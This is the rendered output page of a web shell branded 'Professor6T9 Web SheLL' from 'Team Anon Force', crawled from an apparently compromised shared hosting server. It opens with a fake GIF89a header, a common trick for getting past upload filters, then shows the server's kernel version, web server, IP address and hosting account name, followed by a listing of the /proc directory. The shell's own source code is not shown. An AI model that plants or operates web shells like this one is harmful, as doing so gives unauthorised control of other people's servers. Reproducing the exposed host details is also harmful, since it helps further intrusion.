GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
 LiteSpeed
 156.232.88.2
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-08-01 09:39:37
.. dir - root/root 0755 2024-08-09 02:43:23
1356342 dir - lakevic2/lakevic2 0555 2026-02-19 08:33:01
2552878 dir - lakevic2/lakevic2 0555 2026-02-19 08:33:02
3640135 dir - lakevic2/lakevic2 0555 2026-02-19 08:33:01
3727030 dir - lakevic2/lakevic2 0555 2026-02-19 08:33:21
3761133 dir - lakevic2/lakevic2 0555 2026-02-19 08:33:46
3780100 dir - lakevic2/lakevic2 0555 2026-02-19 08:34:00
acpi dir - root/root 0555 2024-08-01 09:39:41
bus dir - root/root 0555 2024-08-01 09:39:47
driver dir - root/root 0555 2026-02-19 08:34:01
fs dir - root/root 0555 2024-08-01 09:39:47
irq dir - root/root 0555 2024-08-01 09:39:42
lve dir - root/root 0555 2026-02-19 08:33:02
net link - lakevic2/lakevic2 0555 2026-02-19 08:34:01
scsi dir - root/root 0555 2024-08-01 09:39:47
self link - lakevic2/lakevic2 0555 2026-02-19 08:33:46
sys dir - root/root 0555 2024-08-01 09:39:38
sysvipc dir - root/root 0555 2026-02-19 08:34:01
thread-self link - lakevic2/lakevic2 0555 2026-02-19 08:34:01
tty dir - root/root 0555 2026-02-19 08:34:01
buddyinfo 0 B root/root 0444 2026-02-19 08:34:01
cgroups 0 B root/root 0444 2026-02-19 08:33:17
cmdline text/plain 0 B root/root 0444 2026-02-19 08:33:01
consoles 0 B root/root 0444 2026-02-19 08:34:01
cpuinfo text/plain 0 B root/root 0444 2026-02-19 08:33:02
crypto 0 B root/root 0444 2026-02-19 08:34:01
devices 0 B root/root 0444 2026-02-19 08:34:01
diskstats 0 B root/root 0444 2026-02-19 08:33:09
dma 0 B root/root 0444 2026-02-19 08:34:01
execdomains 0 B root/root 0444 2026-02-19 08:34:01
fb 0 B root/root 0444 2026-02-19 08:34:01
filesystems text/plain 0 B root/root 0444 2026-02-19 08:34:01
interrupts 0 B root/root 0444 2026-02-19 08:33:01
iomem 0 B root/root 0444 2026-02-19 08:34:01
ioports 0 B root/root 0444 2026-02-19 08:34:01
kallsyms 0 B root/root 0444 2024-08-01 09:39:47
kcore 128 TB root/root 0400 2024-08-01 09:39:38
key-users 0 B root/root 0444 2026-02-19 08:34:01
keys 0 B root/root 0444 2026-02-19 08:34:01
kmsg 0 B root/root 0400 2026-02-19 08:34:01
kpagecgroup 0 B root/root 0400 2026-02-19 08:34:01
kpagecount 0 B root/root 0400 2026-02-19 08:34:01
kpageflags 0 B root/root 0400 2026-02-19 08:34:01
loadavg text/plain 0 B root/root 0444 2024-09-04 09:25:03
locks 0 B root/root 0444 2026-02-19 08:34:01
mdstat 0 B root/root 0444 2026-02-19 08:34:01
meminfo text/plain 0 B root/root 0444 2024-09-04 09:20:44
misc 0 B root/root 0444 2026-02-19 08:34:01
modules 0 B root/root 0444 2026-02-19 08:34:01
mounts text/plain 0 B lakevic2/lakevic2 0444 2026-02-19 08:34:01
mtrr 0 B root/root 0644 2024-08-01 09:39:47
pagetypeinfo 0 B root/root 0400 2026-02-19 08:34:01
partitions 0 B root/root 0444 2026-02-19 08:34:01
sched_debug 0 B root/root 0444 2026-02-19 08:34:01
schedstat 0 B root/root 0444 2026-02-19 08:34:01
slabinfo 0 B root/root 0400 2026-02-19 08:34:01
softirqs 0 B root/root 0444 2026-02-19 08:34:01
stat text/plain 0 B root/root 0444 2024-09-04 09:05:11
swaps 0 B root/root 0444 2024-08-01 09:39:38
sysrq-trigger 0 B root/root 0200 2024-08-01 09:39:47
timer_list 0 B root/root 0400 2026-02-19 08:34:01
uptime text/plain 0 B root/root 0444 2024-09-04 09:20:13
version text/plain 0 B root/root 0444 2026-02-19 08:34:01
vmallocinfo 0 B root/root 0400 2026-02-19 08:34:01
vmstat 0 B root/root 0444 2026-02-19 08:33:08
zoneinfo 0 B root/root 0444 2026-02-19 08:34:01
© Professor6T9